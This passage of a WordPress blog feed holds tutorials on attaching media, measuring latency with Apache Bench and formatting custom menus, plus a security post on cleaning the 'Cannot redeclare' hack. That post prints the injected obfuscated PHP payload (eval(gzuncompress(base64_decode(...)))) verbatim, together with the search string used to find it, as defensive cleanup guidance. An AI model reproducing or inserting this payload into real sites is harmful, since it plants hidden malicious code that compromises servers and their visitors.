<p><img src="http://digwp.com/wp-content/uploads/2012/04/wp-attach-media-01.jpg" alt="Attach Unattached Media Files - Step 1: Find unattached media files"></p>
<p>As seen in the previous image, the first and easiest way to find and attach your files is to click the <strong>Unattached</strong> link (1) at the top of the <strong>Media Library</strong> page. That will list all of your unattached files along with a quick link to <strong>Attach</strong> (2) the file to a specific post. This is also the second way to find unattached images, as the &#8220;Attach&#8221; link is easy to spot among all of your attached media files.</p>
<h3>How to attach your unattached media files</h3>
<p>Once you&#8217;ve found some unattached files, you&#8217;re ready to attach them to their rightful posts. There are several ways to do this, depending on where you&#8217;re at in the WordPress Admin. </p>
<ul>
<li>If you&#8217;re on the <strong>Media Library</strong> page, then you&#8217;ll see the <strong>Attach</strong> link next to the unattached file (see previous image).</li>
<li>If you&#8217;re already viewing the list of &#8220;Unattached&#8221; images, you can hover over a specific file to reveal its <strong>Attach</strong> link.</li>
<li>If you&#8217;re working on a post, click the <strong>Upload/Insert</strong> button, go to the <strong>Media Library</strong> tab, search for the image, and click the <strong>Insert into Post</strong> button.</li>
</ul>
<p>Here is a screenshot showing the &#8220;Attach&#8221; link next the file in the list of &#8220;Unattached&#8221; files:</p>
<p><img src="http://digwp.com/wp-content/uploads/2012/04/wp-attach-media-02.jpg" alt="Attach Unattached Media Files - Step 2: Click the 'Attach' button"></p>
<p>After clicking the &#8220;Attach&#8221; link, a popup window will appear, like so:</p>
<p><img src="http://digwp.com/wp-content/uploads/2012/04/wp-attach-media-03.jpg" alt="Attach Unattached Media Files - Step 3: Enter the post title and click search"></p>
<p>At this point we see some room for improvement, in that you sort of have to &#8220;know&#8221; in advance the title or contents of the post to which the file should be attached. If you&#8217;re not sure and just want to sort of browse through existing posts to find the best one, try searching with some relevant/related search terms. If you really have no idea which post to use, try searching for a super-common word like &#8220;the&#8221; or &#8220;a&#8221; and you&#8217;ll get the first 30 or so posts. Unfortunately at this time there is no way to navigate through more than the first set of results, but it may be enough to get you there. It would be good to have this option in the future (hint hint).</p>
<p><img src="http://digwp.com/wp-content/uploads/2012/04/wp-attach-media-04.jpg" alt="Attach Unattached Media Files - Step 4: Choose the correct post and click 'Select'"></p>
<p>Once you&#8217;ve found the post that you would like to use, select it and click the <strong>Select</strong> button, as shown in the previous image. That&#8217;s all it takes, after clicking &#8220;Select&#8221; WordPress does its thing and the file is attached to the selected post.</p>
<h3>How to un-attach media files</h3>
<p>Wrapping up, just wanted to point out another area where WordPress could be improved. As far as I know, there is no way to &#8220;un-attach&#8221; media files from their respective posts <em>from within the Admin area</em>. Unless somebody knows a way of doing so, the only way seems to be complete deletion of the media file in question. When working with a lot of files, each with their own meta information, this can be a rather unpleasant experience, but I digress.. Yes you can always attach the file to <em>another</em> post, but that doesn&#8217;t change the post to which it was first attached. To change that information, it&#8217;s either a trip to the database or delete the file and start over.</p>
<h3>1-minute summary</h3>
<p>To attach an unattached media file, find an <strong>Attach</strong> link, select the desired post from the list, and click the <strong>Select</strong> button. Alternately, if you&#8217;re working on a post, click the <strong>Upload/Insert</strong> button, visit the <strong>Media Library</strong> tab, locate and select the desired post, and click the <strong>Insert into Post</strong> button.</p>
<p>Taking the time to clean-up and organize your files is a great way to improve the efficiency and maintainability of your website.</p>
<p>That&#8217;s all for now, Happy attaching :)</p>
<hr />
<p><small>© 2012 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2012/05/attach-unattached-media-files/">Permalink</a> | <a href="http://digwp.com/2012/05/attach-unattached-media-files/#comments">14 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2012/05/attach-unattached-media-files/&title=Attach Unattached Media Files">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/admin/" rel="tag">Admin</a>, <a href="http://digwp.com/tag/attachments/" rel="tag">attachments</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2012/05/attach-unattached-media-files/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Measuring Latency with Apache Bench</title>
		<link>http://digwp.com/2012/04/measure-latency-apache-bench/</link>
		<comments>http://digwp.com/2012/04/measure-latency-apache-bench/#comments</comments>
		<pubDate>Mon, 16 Apr 2012 18:31:33 +0000</pubDate>
		<dc:creator>Austin Gunter</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[optimization]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5920</guid>
		<description><![CDATA[One of the important factors in the speed of your site is the distance between your servers and the browser visiting your site. The time it takes the information to travel from the server to the browser is called latency. Latency increases with distance, so no matter how fast your servers may be, high latency [...]]]></description>
				<content:encoded><![CDATA[<p>One of the important factors in the speed of your site is the distance between your servers and the browser visiting your site.  The time it takes the information to travel from the server to the browser is called <strong>latency</strong>. Latency increases with distance, so no matter how fast your servers may be, high latency can make your site load slowly for visitors who are geographically removed from your servers. </p>
<p><span id="more-5920"></span></p>
<p>Since there are plenty of places to measure your site speed online, this article goes into detail of how to measure your site latency using <a href="http://httpd.apache.org/docs/2.0/programs/ab.html" title="ab - Apache HTTP server benchmarking tool">Apache Bench</a>. This is helpful because you&#8217;ll know how to make educated hosting decisions, AND after running the following test, you&#8217;ll be familiar with Apache Bench, a useful tool for site administration.</p>
<h3>Less latency = faster websites?</h3>
<p>The question of latency came up when WP Engine, a managed WordPress hosting provider, and the company I work for, began fielding support calls from Asian and Pacific geographies. They had a variety of questions about our hosting, but we answered the same question about latency several times:</p>
<blockquote><p>&#8220;How much faster would my site be to me if I moved it to another location?&#8221;</p></blockquote>
<p>We decided that it would be helpful to share a tutorial of how to answer this question for those so inclined.</p>
<p>This question often came from an Asian country who was asking if their site would load faster on their continent if they moved their hosting from North American servers to Asian servers. The distance between the browser and the server are an important factor in how quickly a page will load in a browser. It will simply take longer for a page to load in China if it is being served from Dallas, Texas instead of Beijing.  </p>
<p>It&#8217;s fair to say that most, if not all, big WordPress sites have visitors from across the globe, so it can be useful to know how to test the relative speed differences between hosting companies or locations, so we&#8217;ll show you how to use Apache Bench to do that.</p>
<h3>Defining terms</h3>
<p>First off, lets define terms. We&#8217;re measuring latency rather than total speed. That is, we&#8217;re concerned with the time it takes the first byte to appear in the browser, not the time it takes all the bytes to appear.</p>
<p>That&#8217;s because distance typically increases latency but not throughput.</p>
<p>For example, suppose a browser in London is hitting a server in New York City. First it has to make the request for the page &mdash; traversing the Atlantic or bouncing off a satellite &mdash; then the server starts sending the response, which now also has to move across the Atlantic.</p>
<p>Let&#8217;s call the length of time to move across the ocean <strong>L</strong> (for Latency) and the length of time the server takes to start sending bytes <strong>S</strong> (for Server-Speed). Then the time of this transaction is:</p>
<p><strong><code>2L + S</code></strong></p>
<p>Actually, in reality it&#8217;s worse than that. That&#8217;s just the <abbr title="Hypertext Transfer Protocol">HTTP</abbr> request, and before that even happens you have to establish the <abbr title="Transmission Control Protocol/Internet Protocol">TCP/IP</abbr> connection, which takes another back-and-forth (actually there&#8217;s <em>three</em> legs to that protocol, but we&#8217;ll gloss over that detail), so the true equation is:</p>
<p><strong><code>4L + S</code></strong></p>
<p>If the browser is in New York City, <strong>L</strong> will be small, perhaps as little as 40ms. Whereas even on very fast servers like we have at WP Engine <strong>S</strong> is at least 250ms, and typical hosting providers with page-cache plugins have 500ms of <strong>S</strong>. Without page caching <strong>S</strong> could be up to 1-4 seconds. Therefore, when you&#8217;re close to the server, <strong>S</strong> dominates the equation, and the speed of the server is the most important factor.</p>
<p>However, with a browser request from London, <strong>L</strong> is easily 500-750ms. With a fast server the latency is an order of magnitude more time than the server time. At great distances, the latency will completely determine the apparent speed of the site.</p>
<h3>Measuring Latency with Apache Bench</h3>
<p>So how do you easy measure latency in the field? And in particular, how would we measure the difference between identical servers in London and <abbr title="New York City">NYC</abbr>?</p>
<p>There&#8217;s a simple, free tool from Apache called <strong>Apache Bench</strong>, which we recommend for basic tests like these (and many other too). You can run Apache Bench from Terminal on a Mac, or Putty on Windows. There are other options depending on how secure you want to be.</p>
<p>To make sure it&#8217;s working for you, let&#8217;s see what happens when you run it once on our company homepage:</p>
<p><code>ab http://wpengine.com/</code><br />
<small><em>(Note the trailing slash &#8212; ab is finicky about that!)</em></small></p>
<p>A successful test will look like this:</p>
<p><img src="http://digwp.com/wp-content/uploads/2012/04/apache-bench-01.jpg" alt="Notice the Standard Deviation" title="Apache Bench Test 1" /><br /><small><em>Apache Bench Test 1</em></small></p>
<p>Now the trouble with making just one request is that there&#8217;s all kinds of errors that can happen. For example, maybe someone two houses down just started downloading 17 simultaneous bittorrents of porn. That will mess up your results.</p>
<p>So what we really need is to run <strong>N</strong> trials and aggregate the results. ab can do that. Suppose <strong>N</strong> is 100, and just do this:</p>
<p><code>ab -n 100 http://wpengine.com/</code></p>
<p>Now the results are more interesting, showing us average and standard deviation:</p>
<p><img src="http://digwp.com/wp-content/uploads/2012/04/apache-bench-02.jpg" alt="Notice the Standard Deviation" title="Latency Test 2" /><br /><small><em>Apache Bench Test 2</em></small></p>
<p>The &#8220;standard deviation&#8221; tells you how much error is there. Assuming a normal distribution of results (which seems appropriate), 95% of the results fall within +/- 2 standard deviations. Even if the distribution is not normal, at least 75% of the results fall within +/- 2.</p>
<p>In particular, check out the &#8220;time to connect&#8221; and &#8220;time to start,&#8221; which show the 2<strong>L</strong> time to establish the TCP/IP connection and the additional 2<strong>L</strong> + <strong>S</strong> time to request the page and start getting the data.</p>
<p>In fact, just from these two data points we can compute <strong>L</strong> and <strong>S</strong>!  After all, we have:</p>
<pre><code>(1)   2L = A
(2)   2L + S = B</code></pre>
<p>So subtracting <strong>(1)</strong> from <strong>(2)</strong> we find that <strong>B &#8211; A = S</strong>, and <strong>A/2 = L</strong>. Now, this is just an estimate because, remember, there&#8217;s lots of potential error and variation here. Still, it&#8217;s a good bit of data to gather.</p>
<p>Now of course we only have to run the same command from a machine in another location to find the difference in <strong>L</strong>.</p>
<p>So to solve the original problem, the person in London can run Apache Bench against a copy of her blog in London and the live one in NYC to see the difference.</p>
<p>This is a helpful method to check your site&#8217;s latency in various geographic locations. Just because it&#8217;s blazing fast in the US, does not mean that your customer in Europe or Asia will be getting served as quickly, especially if the closest server is far away.</p>
<p>Let us know what you think! How else are you guys using Apache Bench, or how has measuring this latency changed the way you&#8217;re managing your WordPress?</p>
<h3>About the author</h3>
<p>This guest post is by Austin Gunter, blogger and brand ambassador for WP Engine. WP Engine offers <a href="http://wpengine.com/" target="_blank">fast WordPress hosting</a> that is optimized for speed and security. They also like breakfast tacos and long walks along the server beach.</p>
<hr />
<p><small>© 2012 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2012/04/measure-latency-apache-bench/">Permalink</a> | <a href="http://digwp.com/2012/04/measure-latency-apache-bench/#comments">9 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2012/04/measure-latency-apache-bench/&title=Measuring Latency with Apache Bench">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/optimization/" rel="tag">optimization</a>, <a href="http://digwp.com/tag/performance/" rel="tag">performance</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2012/04/measure-latency-apache-bench/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>HTML Formatting for Custom Menus</title>
		<link>http://digwp.com/2011/11/html-formatting-custom-menus/</link>
		<comments>http://digwp.com/2011/11/html-formatting-custom-menus/#comments</comments>
		<pubDate>Mon, 28 Nov 2011 18:09:42 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[XHTML]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[menu]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5440</guid>
		<description><![CDATA[For some projects, it&#8217;s nice to output clean, well-formatted markup. Using theme template files enables great control over most of your (X)HTML formatting, but not so much for automated functionality involving stuff like widgets and custom menus. One of my current projects requires clean, semantic HTML markup for all web pages, but also takes advantage [...]]]></description>
				<content:encoded><![CDATA[<p>For some projects, it&#8217;s nice to output clean, well-formatted markup. Using theme template files enables great control over most of your (X)HTML formatting, but not so much for automated functionality involving stuff like widgets and custom menus. One of my current projects requires clean, semantic HTML markup for all web pages, but also takes advantage of WordPress&#8217; custom-menu functionality to make things easy. In this <abbr title="Digging into WordPress">DiW</abbr> article, we&#8217;ll see how to enjoy both: WordPress custom menus <em>and</em> clean, well-formatted HTML markup.</p>
<p><span id="more-5440"></span></p>
<h3>Customizing HTML displayed with wp_nav_menu()</h3>
<p>By default, <a href="http://digwp.com/2010/08/using-menus-in-wordpress-3-0/" title="Using Menus in WordPress 3.0">WordPress custom menus</a> are displayed in your theme template using the <a href="http://codex.wordpress.org/Function_Reference/wp_nav_menu">wp_nav_menu</a> function, which by default outputs markup that looks like this:</p>
<pre><code>&lt;div class="menu-test-container"&gt;&lt;ul id="menu-test" class="menu"&gt;&lt;li id="menu-item-6" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-6"&gt;&lt;a href="http://example.com/"&gt;Home&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-7" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-7"&gt;&lt;a href="http://example.com/demos/"&gt;Demos&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-8" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-8"&gt;&lt;a href="http://example.com/downloads/"&gt;Downloads&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-9" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9"&gt;&lt;a href="http://example.com/docs/"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</code></pre>
<p>That&#8217;s a <em>mess</em> of <code>class</code> and <code>id</code> attributes, plus an extra <code>&lt;div&gt;</code> container to boot. Fortunately, the <code>wp_nav_menu()</code> provides some useful parameters for customizing the display of your custom navigation menus. Here is a list of the <em>default parameters</em>:</p>
<pre><code>&lt;?php $defaults = array(
  'theme_location'  =&gt; ,
  'menu'            =&gt; , 
  'container'       =&gt; 'div', 
  'container_class' =&gt; 'menu-{menu slug}-container', 
  'container_id'    =&gt; ,
  'menu_class'      =&gt; 'menu', 
  'menu_id'         =&gt; ,
  'echo'            =&gt; true,
  'fallback_cb'     =&gt; 'wp_page_menu',
  'before'          =&gt; ,
  'after'           =&gt; ,
  'link_before'     =&gt; ,
  'link_after'      =&gt; ,
  'items_wrap'      =&gt; '&lt;ul id=\"%1$s\" class=\"%2$s\"&gt;%3$s&lt;/ul&gt;',
  'depth'           =&gt; 0,
  'walker'          =&gt; );
?&gt;</code></pre>
<p>Of these parameters, <code>$container</code> lets you specify how to wrap the <code>&lt;ul&gt;</code> element, using either <code>'div'</code>, <code>'nav'</code>, or <code>false</code>. So by specifying <code>false</code> for the <code>$container</code> parameter, we can simplify markup by removing the <code>&lt;div&gt;</code> container. The <code>wp_nav_menu</code> function also provides two more optional parameters for customizing menu markup:</p>
<ul>
<li><code>$items_wrap</code> &ndash; &#8220;Whatever to wrap the items with an ul, and how to wrap them with&#8221; (source: WP Codex)</li>
<li><code>$walker</code> &ndash; &#8220;Custom walker object to use (Note: You must pass an actual object to use, not a string)&#8221; (source: WP Codex)</li>
</ul>
<p>These <em>sound</em> useful, but I haven&#8217;t had much luck with either. The <code>$items_wrap</code> didn&#8217;t seem to do anything, but there are plenty of <a href="http://wordpress.stackexchange.com/questions/14037/menu-items-description/14039#14039">custom</a> <a href="http://erikshosting.com/wordpress-tips-code/building-a-wordpress-walker-creating-custom-dynamic-menu-outputs/">walker</a> <strong>scripts</strong> <small><em>(<abbr title="http://benword.com/2011/how-to-hide-that-youre-using-wordpress/">404 link</abbr> removed 2013/04/18)</em></small> available for further experimentation and customization. If you can get them to work properly, <strong>a custom walker provides complete control over custom-menu markup</strong> displayed with the <code>wp_nav_menu</code> tag. Unfortunately, I was unable to get very far with any of them, so I sought an alternate method..</p>
<h3>An alternative approach for custom markup</h3>
<p>After fiddling with a few of the various custom walkers, I decided to find an <em>easier way</em> to customize and format WordPress nav/menu markup. The walkers are fairly extensive and complex, and just seem like overkill for building a simple list of custom menu items. After some digging through the WordPress Codex, I found the <em>perfect</em> function for crafting squeaky-clean WordPress menus: <a href="http://codex.wordpress.org/Function_Reference/wp_get_nav_menu_items">wp_get_nav_menu_items</a>. As the name implies, <code>wp_get_nav_menu_items</code> returns the items from your custom navigation menus (as created in the WP Admin → Appearance → Menus panel). Thus, you can use this function to mark up your custom menus however you want. For my particular project, the desired format looks like this:</p>
<pre><code>&lt;nav&gt;
	&lt;ul&gt;
		&lt;li&gt;&lt;a href="http://example.com/"&gt;Home&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/demos/"&gt;Demos&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/downloads/"&gt;Downloads&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/docs/"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;
&lt;/nav&gt;</code></pre>
<p>Trying to do this with the commonly used <code>wp_nav_menu</code> function and a custom walker is possible, but it&#8217;s <em>much easier</em> building the menu structure from scratch, using only what&#8217;s required to make it happen. So alternately we use <code>wp_get_nav_menu_items</code> and begin with the <a href="http://codex.wordpress.org/Function_Reference/wp_get_nav_menu_items#Building_simple_menu_list">example function</a> provided at the Codex. After wrapping it in a <code>function</code> and customizing the output, we have the <code>clean_custom_menus()</code> function, ready for copy/paste into your theme&#8217;s <code>functions.php</code> file:</p>
<pre><code>// custom menu example @ http://digwp.com/2011/11/html-formatting-custom-menus/
function clean_custom_menus() {
	$menu_name = 'nav-primary'; // specify custom menu slug
	if (($locations = get_nav_menu_locations()) &amp;&amp; isset($locations[$menu_name])) {
		$menu = wp_get_nav_menu_object($locations[$menu_name]);
		$menu_items = wp_get_nav_menu_items($menu-&gt;term_id);

		$menu_list = '&lt;nav&gt;' ."\n";
		$menu_list .= "\t\t\t\t". '&lt;ul&gt;' ."\n";
		foreach ((array) $menu_items as $key =&gt; $menu_item) {
			$title = $menu_item-&gt;title;
			$url = $menu_item-&gt;url;
			$menu_list .= "\t\t\t\t\t". '&lt;li&gt;&lt;a href="'. $url .'"&gt;'. $title .'&lt;/a&gt;&lt;/li&gt;' ."\n";
		}
		$menu_list .= "\t\t\t\t". '&lt;/ul&gt;' ."\n";
		$menu_list .= "\t\t\t". '&lt;/nav&gt;' ."\n";
	} else {
		// $menu_list = '&lt;!-- no list defined --&gt;';
	}
	echo $menu_list;
}</code></pre>
<p>After placing in your <code>functions.php</code> file, you can call the function and display your custom menus anywhere in your theme by calling it directly:</p>
<p><code>&lt;?php if (function_exists(clean_custom_menus())) clean_custom_menus(); ?&gt;</code></p>
<p>Then, you can customize the <code>clean_custom_menus()</code> function as follows:</p>
<ol>
<li><strong>Line 3:</strong> specify your custom-menu slug</li>
<li><strong>Lines 8 thru 15:</strong> customize markup, tabs, and line breaks as needed</li>
<li><strong>Line 17:</strong> uncomment <code>else</code> condition and customize if needed</li>
</ol>
<p>For lines 8-15, anything is possible &ndash; you can include whatever list items, markup, and attributes required. Additionally, you can tab and indent markup to line up with page markup using <code>\n</code> for a new line and <code>\t</code> for a tab space. The fastest, easiest way to use this function is to copy/paste into your theme and then check out your list markup. For example, if the nav list is too far to the left, add some more tabs. You can also add <code>class</code> and <code>id</code> attributes, include custom items, and even manipulate which list items are displayed (<code>$url</code>, <code>$title</code>, etc.). After a little fine-tuning, <strong>the <code>wp_get_nav_menu_items()</code> function enables clean, well-formatted markup for your custom menus</strong>.</p>
<h3>Quick Summary</h3>
<p>In this article, we explain two ways to clean up and customize WordPress&#8217; custom-menu markup. Either of these methods will take your code from this:</p>
<pre><code>&lt;div class="menu-test-container"&gt;&lt;ul id="menu-test" class="menu"&gt;&lt;li id="menu-item-6" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-6"&gt;&lt;a href="http://example.com/"&gt;Home&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-7" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-7"&gt;&lt;a href="http://example.com/demos/"&gt;Demos&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-8" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-8"&gt;&lt;a href="http://example.com/downloads/"&gt;Downloads&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-9" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9"&gt;&lt;a href="http://example.com/docs/"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</code></pre>
<p>..to this:</p>
<pre><code>&lt;nav&gt;
	&lt;ul&gt;
		&lt;li&gt;&lt;a href="http://example.com/"&gt;Home&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/demos/"&gt;Demos&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/downloads/"&gt;Downloads&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/docs/"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;
&lt;/nav&gt;</code></pre>
<p>..or whatever HTML structure that&#8217;s required. You can achieve this with either of these methods:</p>
<ul>
<li>Combine <code>wp_nav_menu()</code> with a custom walker class</li>
<li>Combine <code>wp_get_nav_menu_items()</code> with the <code>clean_custom_menus()</code> function</li>
</ul>
<p>As usual, if you know of better ways of doing something, please share in the comments! Thanks for reading Digging into WordPress :)</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/11/html-formatting-custom-menus/">Permalink</a> | <a href="http://digwp.com/2011/11/html-formatting-custom-menus/#comments">46 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/11/html-formatting-custom-menus/&title=HTML Formatting for Custom Menus">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/functions/" rel="tag">functions</a>, <a href="http://digwp.com/tag/html/" rel="tag">HTML</a>, <a href="http://digwp.com/tag/menu/" rel="tag">menu</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/11/html-formatting-custom-menus/feed/</wfw:commentRss>
		<slash:comments>46</slash:comments>
		</item>
		<item>
		<title>Clean Up &#8220;Cannot redeclare&#8221; Hack</title>
		<link>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/</link>
		<comments>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/#comments</comments>
		<pubDate>Fri, 18 Nov 2011 22:44:09 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5411</guid>
		<description><![CDATA[One of my clients was hacked with the so-called &#8220;Cannot redeclare&#8221; hack. It seems closely related to the nefarious TimThumb hack, so if you&#8217;ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect shared servers, so if you host multiple WordPress sites, chances are high that they&#8217;re [...]]]></description>
				<content:encoded><![CDATA[<p>One of my clients was hacked with the so-called <a href="http://www.victorciobanu.com/how-to-remove-cannot-redeclare/">&#8220;Cannot redeclare&#8221; hack</a>. It seems closely related to the nefarious <a href="http://blog.sucuri.net/2011/10/timthumb-php-mass-infection-aftermath-part-i.html">TimThumb hack</a>, so if you&#8217;ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect <strong>shared servers</strong>, so if you host <em>multiple</em> WordPress sites, chances are high that they&#8217;re <em>all</em> infected.</p>
<p><span id="more-5411"></span></p>
<h3>Checking for the &#8220;Cannot redeclare&#8221; hack</h3>
<p>The good news is that the hack is easy to diagnose. Just open any page from your site and look for the following PHP error message:</p>
<pre><code>Fatal error: Cannot redeclare _765258526() 
(previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) 
: eval()'d code:1) in /path/to/www/index.php(18) 
: eval()'d code on line 1</code></pre>
<p>PHP errors like this are usually located at the bottom of the web page, but may appear elsewhere or even not all in some cases (i.e., proper configuration). To be certain, scan your server&#8217;s PHP error logs for the &#8220;Cannot redeclare&#8221; error string. If you find anything that matches, it&#8217;s time to fix your site..</p>
<h3>About the &#8220;Cannot redeclare&#8221; hack</h3>
<p>If your site&#8217;s been hit with &#8220;Cannot redeclare&#8221;, you&#8217;re in for a wild clean-up party because it infects <em>every</em> <code>index.php</code> and <code>footer.php</code> file for <em>every</em> WordPress site on the server. </p>
<p>For example, my client hosted 11 sites on the same shared account, so multiply that by the number of index and footer files used by WordPress (core files and themes) and you get over 200 hacked files to clean up. Needless to say the client&#8217;s sites have been moved to a more secure location.</p>
<p>Fortunately finding the hacked index files is relatively painless, just search all files on your server for the following phrase:</p>
<p><strong><code>eval(gzun</code></strong></p>
<p>Here is a screenshot showing search results for this phrase:</p>
<p><img src="http://digwp.com/wp-content/blog-images/cannot-redeclare-01.gif" alt="[ screenshot of search results ]" /></p>
<p>As seen here, the hacked files should be easy to recognize because they:</p>
<ul>
<li>include the <code>eval(gzun</code> search term</li>
<li>include long strings of encoded gibberish</li>
<li>consist of <code>index.php</code> and <code>footer.php</code> files</li>
</ul>
<p>If your search turns up anything that similar but not quite what we&#8217;re talking about here, it may or may not be legit. The main thing that we&#8217;re looking for are the <em>long strings of encoded nonsense</em>. Also, remember to check <em>all</em> sites that you may have on the same server. Once you&#8217;ve isolated the infected files, it&#8217;s time to clean &#8216;em up..</p>
<h3>Removing the &#8220;Cannot redeclare&#8221; hack</h3>
<p>Looking at any of the hacked files, you&#8217;ll find this hideous looking piece of code garbage:</p>
<pre><code>&lt;?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM=')));  eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ==')));  eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I='))); ?&gt;</code></pre>
<p>Disgusting stuff, and if you don&#8217;t see it at first, that doesn&#8217;t mean it&#8217;s not there. The scumbags who deal in this filth are clever enough to <strong>indent the code</strong> so it appears off-screen (via horizontal scrollbar). It&#8217;s a clever trick, but most text editors have a limit to the number of characters that appear on each line, so the super-long string of encoded gibberish wraps and becomes easy to spot:</p>
<p><img src="http://digwp.com/wp-content/blog-images/cannot-redeclare-03.gif" alt="[ screenshot of wrapped code ]" /></p>
